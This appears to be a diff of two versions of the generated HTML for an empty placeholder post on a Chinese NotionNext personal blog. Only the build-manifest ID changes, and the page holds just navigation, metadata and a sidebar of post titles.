-<!DOCTYPE html><html lang="zh-CN"><head><title>EMPTY-ARTICLE-3 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="新闻,推荐"/><meta name="description" content="仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="EMPTY-ARTICLE-3 | Both Savage"/><meta property="og:description" content="仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。"/><meta property="og:url" content="https://bothsavage.github.io//article/example-3"/><meta property="og:image" content="https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。"/><meta name="twitter:title" content="EMPTY-ARTICLE-3 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">EMPTY-ARTICLE-3</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-47aba7062cde4eef9fb80cdd0f7805c9"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-blank notion-block-4f888598436f45ae8798cc8ab24c09c9"> </div><div class="notion-callout notion-gray_background_co notion-block-b695537b33d74ddda1e044bf5b40f53f"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="😀">😀</span></div><div class="notion-callout-text">这里写文章的前言:
+<!DOCTYPE html><html lang="zh-CN"><head><title>EMPTY-ARTICLE-3 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="新闻,推荐"/><meta name="description" content="仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="EMPTY-ARTICLE-3 | Both Savage"/><meta property="og:description" content="仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。"/><meta property="og:url" content="https://bothsavage.github.io//article/example-3"/><meta property="og:image" content="https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。"/><meta name="twitter:title" content="EMPTY-ARTICLE-3 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer 